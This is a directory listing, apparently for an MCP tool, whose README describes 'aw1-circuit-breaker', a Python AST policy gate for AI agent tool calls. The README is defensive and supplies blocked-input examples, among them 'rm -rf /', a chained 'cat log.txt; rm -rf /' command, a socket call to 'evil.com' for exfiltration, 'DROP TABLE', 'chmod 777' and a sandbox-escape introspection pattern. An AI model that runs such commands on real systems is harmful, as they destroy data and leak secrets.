{"id":"6620ab52-bf1b-4910-8b5f-136d00dfc03b","slug":"aw1-circuit-breaker","kind":"mcp","name":"aw1-circuit-breaker","summary":"Deterministic sub-0.2ms AST security circuit breaker for autonomous AI agents, tool dispatch pipelines, and MCP servers.","owner":"MvikManners","repoUrl":"https://github.com/MvikManners/aw1-circuit-breaker","license":"Apache-2.0","licenseTier":"permissive","trust":"community","stars":1,"match":null,"fewStars":true,"format":"mcp","createdAt":"2026-10-08T13:13:41.000Z","addedAt":"2026-10-21T02:56:03.191Z","logoUrl":"https://avatars.githubusercontent.com/u/216400148?v=4","linkOnly":false,"collection":null,"skillPath":null,"categories":["utilities"],"tags":[],"runtime":"python","local":true,"cloudCapable":false,"cloudCapability":"unknown","cloudReadyOnPlatform":false,"needsApiKey":false,"reviewed":false,"syncedAt":"2026-10-27T01:50:40.513Z","sample":false,"url":"https://conduits.dev/tools/aw1-circuit-breaker","language":"Python","transports":["stdio"],"install":{"pypi":"aw1-circuit-breaker"},"requirements":{"env":[],"upstreamMayCharge":false},"tools":null,"readme":"[![HOL Blue member](https://hol.org/api/registry/listing-badges/8008ce03-bfbd-4504-8f0a-985e4caa4c64/badge.svg)](https://hol.org/registry/plugins/mvikmanners%2Faw1-circuit-breaker)\n# aw1-circuit-breaker (v2.1.2)\n[![HOL Guard](https://img.shields.io/endpoint?url=https%3A%2F%2Fhol.org%2Fapi%2Fregistry%2Fbadges%2Fplugin%3Fslug%3Dmvikmanners%252Faw1-circuit-breaker%26metric%3Drelease)](https://hol.org/registry/plugins/mvikmanners%2Faw1-circuit-breaker)\n[![HOL Verified](https://img.shields.io/badge/HOL-Source_Verified-10B981?style=for-the-badge&logo=shield)](https://hol.org/blog/stopping-rogue-agents-inside-the-ast-breaker)\n[![PyPI](https://img.shields.io/pypi/v/aw1-circuit-breaker?color=blue&style=for-the-badge)](https://pypi.org/project/aw1-circuit-breaker/)\n[![Python Matrix](https://img.shields.io/badge/Python-3.10%20%7C%203.11%20%7C%203.12%20%7C%203.13-blue?style=for-the-badge&logo=python)](https://github.com/MvikManners/aw1-circuit-breaker/actions)\n[![HOL Scanner CI](https://img.shields.io/github/actions/workflow/status/MvikManners/aw1-circuit-breaker/hol-guard.yml?branch=main&label=HOL%20Scanner%20CI&style=for-the-badge&logo=githubactions)](https://github.com/MvikManners/aw1-circuit-breaker/actions)\n[![Zero Dependencies](https://img.shields.io/badge/Runtime_Dependencies-Zero_(Standard_Lib)-blueviolet?style=for-the-badge)](pyproject.toml)\n[![Latency](https://img.shields.io/badge/P50_Latency-0.078ms-brightgreen?style=for-the-badge)](tests/test_enterprise_engine.py)\n[![MCP Registry](https://img.shields.io/badge/MCP%20Registry-active-0066FF?style=for-the-badge)](https://registry.modelcontextprotocol.io)\n[![Glama Score](https://glama.ai/mcp/servers/MvikManners/aw1-circuit-breaker/badges/score.svg)](https://glama.ai/mcp/servers/MvikManners/aw1-circuit-breaker)\n[![License: Apache-2.0](https://img.shields.io/badge/License-Apache_2.0-green.svg)](LICENSE)\n\n> **Featured on Hashgraph Online (HOL):** Read the independent source-level teardown: [*What aw1-breaker checks before a tool call*](https://hol.org/blog/stopping-rogue-agents-inside-the-ast-breaker).\n\n`aw1-breaker` is a zero-dependency Python security circuit breaker that intercepts autonomous AI agent tool calls in sub-millisecond execution loops using Abstract Syntax Tree (AST) static policy enforcement, declarative Policy-as-Code, per-actor rolling velocity monitors, and cryptographically signed HMAC execution tokens.\n\n> **Security Scope & Boundary:** `aw1-breaker` enforces deterministic static AST and argument-level boundary policies *prior* to Python runtime execution (blocking prohibited modules, dangerous built-ins, SQL mutations, and known evasion patterns). It provides an application-layer policy gate and is designed to complement, not replace, operating-system-level sandbox isolation (e.g., containers, gVisor, or microVMs) for arbitrary untrusted code execution.\n\n---\n\n### High-Concurrency Performance (v2.1.0 Verified)\n\nEvaluated across a stress test of **10,000 asynchronous agent dispatches** in concurrent batches of 500 simultaneous tasks via `tests/test_enterprise_engine.py`:\n\n| Metric | Result | Industry Standard (LLM-as-a-Judge) |\n| :--- | :--- | :--- |\n| **Throughput** | **8,485.0 dispatches/sec** | ~5 – 20 req/sec |\n| **Median Latency (P50)** | **0.0776 ms** (77.6 µs) | 500 – 1,500 ms |\n| **90th Percentile (P90)** | **0.0941 ms** (94.1 µs) | 1,200 – 2,000 ms |\n| **95th Percentile (P95)** | **0.1066 ms** (106.6 µs) | 1,500 – 2,500 ms |\n| **99th Percentile (P99)** | **0.2263 ms** (226.3 µs) | 2,000 – 4,000 ms |\n| **Policy Rejection Latency** | **< 0.13 ms** (Fail-Closed) | N/A (Probabilistic) |\n| **Deterministic Guarantee** | **Syntax-Exact AST Grammar Match** | Probabilistic (~85–95%) |\n\n---\n\n## ⚡ 10-Second Test Drive (Zero-Install)\n\nTest the circuit breaker live in your terminal without installing anything:\n\n```bash\nuvx aw1-circuit-breaker --demo\n```\n\nOr verify an arbitrary snippet:\n\n```bash\nuvx aw1-circuit-breaker verify \"subprocess.run(['rm', '-rf', '/'])\"\n```\n\n---\n\n## 📦 Installation\n\n```bash\npip install --upgrade aw1-circuit-breaker\n```\n\n*(Zero external dependencies. Pure Python standard library: Python 3.10 to 3.13).*\n\n---\n\n## 🛡️ Enterprise Guard (Turnkey Integration)\n\nDrop enterprise boundary policies directly onto agent tools using the `@guard.protect` or universal `@guard` adapter:\n\n```python\nfrom aw1 import EnterpriseGuard, SecurityViolationError\n\nguard = EnterpriseGuard(\n    allowed_tools=[\"safe_query\", \"fetch_market_data\"],\n    max_velocity_per_min=60,\n    max_financial_limit=250.0,\n    readonly_sql=True\n)\n\n@guard.protect(tool_name=\"safe_query\")\ndef execute_database_query(query: str):\n    return db.execute(query)\n\n# Benign queries execute with sub-millisecond policy check overhead\nexecute_database_query(\"SELECT id FROM users LIMIT 1;\")\n\n# Adversarial AST injections & SQL drops are halted deterministically:\n# -> Raises SecurityViolationError: \"Database mutation rejected under readonly_sql policy\"\n```\n\n### Universal Function & Async Gating\n\n```python\nfrom aw1 import guard\n\n@guard\nasync def run_agent_tool(tool_payload: dict) -> dict:\n    return {\"status\": \"ok\"}\n```\n\n---\n\n## 🔌 Model Context Protocol (MCP) Server\n\nRun directly with Python:\n\n```bash\npython mcp_server.py\n```\n\nOr via `uvx`:\n\n```bash\nuvx aw1-circuit-breaker\n```\n\n### MCP Client Configuration\n\nAdd to your Claude Desktop or Cursor configuration:\n\n```json\n{\n  \"mcpServers\": {\n    \"aw1-circuit-breaker\": {\n      \"command\": \"uvx\",\n      \"args\": [\"aw1-circuit-breaker\"]\n    }\n  }\n}\n```\n\n---\n\n## ⚔️ Exploit Interception in Action\n\nAW-1 operates deterministically at the Abstract Syntax Tree (AST) level before code reaches Python's runtime execution frame. Probabilistic prompt-based guardrails fail under encoding obfuscation; AST inspection provides deterministic grammar analysis against defined policy boundaries.\n\n### Interception Matrix\n\n| Attack Vector | Attacker Strategy | LLM Guardrail Result | AW-1 AST Circuit Breaker |\n| :--- | :--- | :--- | :--- |\n| **Dynamic Execution** | `eval(compile(...))` | Evades semantic filters | 🛑 **Tripped (`RESTRICTED_INVOCATION`)** |\n| **Shell Escapes** | `subprocess.Popen(['bash', ...])` | Masked as system task | 🛑 **Tripped (`UNAUTHORIZED_MODULE_IMPORT`)** |\n| **Lateral Exfiltration** | `socket.connect(('evil.com', 443))` | Disguised as HTTP fetch | 🛑 **Tripped (`UNAUTHORIZED_MODULE_IMPORT`)** |\n| **SQL Destruction** | `DROP TABLE users;` | Prompt jailbreak bypass | 🛑 **Tripped (`HALT_SQL_MUTATION_FORBIDDEN`)** |\n| **Dunder Introspection** | `().__class__.__subclasses__()` | Bypasses keyword filters | 🛑 **Tripped (`FAIL_CLOSED_REFLECTION_BREACH`)** |\n\n### Run the Showcase\n\n```bash\npython examples/enterprise_guard_demo.py\n```\n\n---\n\n## 🔬 Autonomous Breakout Benchmark Suite (BRK Gauntlet)\n\nEvaluated against the standardized **BRK Adversarial Vector Suite** across **1,000 randomized execution cycles** via `tests/test_breakout_gauntlet.py`:\n\n| Vector | Exploit Mechanism / Attack Signature | Detection Policy Layer | Single-Dispatch Median Latency | Benchmark Suite Result |\n| :--- | :--- | :--- | :--- | :--- |\n| **BRK-101** | **Base64 Obfuscation & `eval()` Tunneling:** Encodes command strings in nested base64 structures. | Layer 0 AST Decompiler (`ast_unpacker.py`) | **0.0389 ms** (38.9 µs) | **Intercepted (100% vector pass)** |\n| **BRK-102** | **Unauthorized Socket Egress:** Raw TCP sockets targeting credential extraction (`.env`, SSH keys). | Network Socket Gate (`UNAUTHORIZED_MODULE_IMPORT`) | **0.0412 ms** (41.2 µs) | **Intercepted (100% vector pass)** |\n| **BRK-103** | **Privilege Escalation Patterns:** Process privilege changes, `chmod 777`, or file alteration calls. | Fail-Closed Policy Arbitrator | **0.0374 ms** (37.4 µs) | **Intercepted (100% vector pass)** |\n| **BENIGN** | **Fast-Path Operations:** Read-only queries, valid parameter structures, and benign API dispatches. | Fast-Path AST Validation Bypass | **0.0210 ms** (21.0 µs) | **Permitted (0% False Positives)** |\n\n*Note: The 100% pass metric reflects containment across the specified synthetic vector sets (`BRK-101` through `BRK-103`) in test conditions and is not a claim of universal containment against arbitrary unknown exploit classes.*\n\n### Reproduce the 1,000-Cycle Gauntlet Locally\n\nRun the complete evaluation suite with standard Python (zero external dependencies required):\n\n```bash\npython tests/test_breakout_gauntlet.py\n```\n\n---\n\n## ⏱️ Runtime Latency Telemetry\n\nDeterministic security must not throttle agent execution. Below are empirical latency measurements substantiated by `benchmark.py` across 1,000 iterations on Python 3.13:\n\n| Evaluation Target | Substantiating Script | P50 Latency | P95 Latency | P99 Latency | Notes |\n| :--- | :--- | :--- | :--- | :--- | :--- |\n| **Full AST Policy Inspection (Benign)** | `benchmark.py` | **0.0889 ms** | 0.1298 ms | 0.1645 ms | Complete AST parse & rule validation |\n| **AST Policy Inspection (Adversarial)** | `benchmark.py` | **0.0520 ms** | 0.0919 ms | 0.1051 ms | Short-circuit on first policy violation |\n| **Shell Argument Sanitization Pass** | `benchmark.py` | **0.0051 ms** | 0.0096 ms | 0.0195 ms | Pure string argument validation |\n| **Concurrent Multi-Task Dispatch** | `tests/test_enterprise_engine.py` | **0.0776 ms** | 0.1066 ms | 0.2263 ms | 500 concurrent tasks (10k total) |\n\nReproduce locally:\n\n```bash\npython benchmark.py\n```\n\n---\n\n## 🧩 Framework Integration (LangGraph Example)\n\nAW-1 drops directly into autonomous agent execution nodes prior to tool dispatch:\n\n```python\nfrom examples.langgraph_adapter import execute_agent_action, CircuitBreakerException\n\n# Guard autonomous agent tool dispatches\ntry:\n    execute_agent_action(bash_tool, \"bash_tool\", {\"cmd\": \"cat log.txt; rm -rf /\"})\nexcept CircuitBreakerException as blocked:\n    print(f\"Tool call halted: {blocked}\")\n```\n\n---\n\n## 🌐 Cloud REST API Gateway & Production Quotas\n\nThe AW-1 Circuit Breaker provides an optional HTTP policy arbitration gateway for microservices, browser frontends, and autonomous agent platforms.\n\n- **Endpoint:** `POST https://p20.laveto.net/wisdom/api/v1/intercept`\n- **CORS:** Enabled (`Access-Control-Allow-Origin: *`)\n- **Median Arbitration Latency:** `< 0.80 ms` (HTTP roundtrip excluding transport)\n\n### Request Payload\n\n```json\n{\n  \"actor_id\": \"agent-alpha-01\",\n  \"tool_name\": \"sql_query\",\n  \"payload\": \"SELECT id, balance FROM accounts WHERE user_id = 42;\"\n}\n```\n\n### Response Schema\n\n#### 1. Permitted Execution (Token Minted)\n```json\n{\n  \"status\": \"PERMITTED\",\n  \"verdict\": \"PASS\",\n  \"permitted\": true,\n  \"actor_id\": \"agent-alpha-01\",\n  \"tool_name\": \"sql_query\",\n  \"token\": \"YOUR_KEY_dev_dummy_key_000000000000\",\n  \"reason\": \"Policy evaluation completed: execution safe\",\n  \"latency_ms\": 0.762,\n  \"circuit_breaker\": \"AW-1 Sovereign Execution Arbitrator\"\n}\n```\n\n#### 2. Threat Contained (Fail-Closed)\n```json\n{\n  \"status\": \"HALT_AND_CONTAIN\",\n  \"verdict\": \"FAIL_CLOSED\",\n  \"permitted\": false,\n  \"actor_id\": \"agent-alpha-01\",\n  \"tool_name\": \"bash\",\n  \"token\": null,\n  \"reason\": \"AST Circuit Breaker containment triggered\",\n  \"latency_ms\": 0.201,\n  \"circuit_breaker\": \"AW-1 Sovereign Execution Arbitrator\"\n}\n```\n\n### Production Quotas & Pricing\n\n| Plan | Pricing (USD / BWP) | Quota & Features | Access / Checkout |\n| :--- | :--- | :--- | :--- |\n| **Developer Sandbox** | Free | 10,000 requests, HMAC token minting | Code `HOL-BREAKER-2026` |\n| **Developer Pro** | $49 / BWP 690 /mo | 50,000 audit requests, 1 license key, offline HMAC validation | [Upgrade to Pro](https://p20.laveto.net/wisdom/buy) |\n| **Team / Startup** | $199 / BWP 2,650 /mo | 1,000,000 audit requests, 5 seat keys, Redis state sync | [Upgrade to Team](https://p20.laveto.net/wisdom/buy) |\n| **Enterprise Dedicated** | $990 / BWP 13,200 /mo | Unlimited seats, dedicated gateway tenant, custom statutory lenses | [Enterprise Desk](https://p20.laveto.net/wisdom/docs) |\n\nTo authenticate with enterprise quotas, pass your signed bearer token in the `Authorization` header:\n\n```bash\ncurl -X POST [https://p20.laveto.net/wisdom/api/v1/intercept](https://p20.laveto.net/wisdom/api/v1/intercept) \\\n  -H \"Authorization: Bearer AW1-EXEC-TOKEN-...\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"actor_id\": \"prod-agent-01\", \"tool_name\": \"db_query\", \"payload\": \"SELECT 1;\"}'\n```\n\n---\n\n## License\n\nLicensed under the [Apache License, Version 2.0](LICENSE). See [LICENSE](LICENSE) for details.\n"}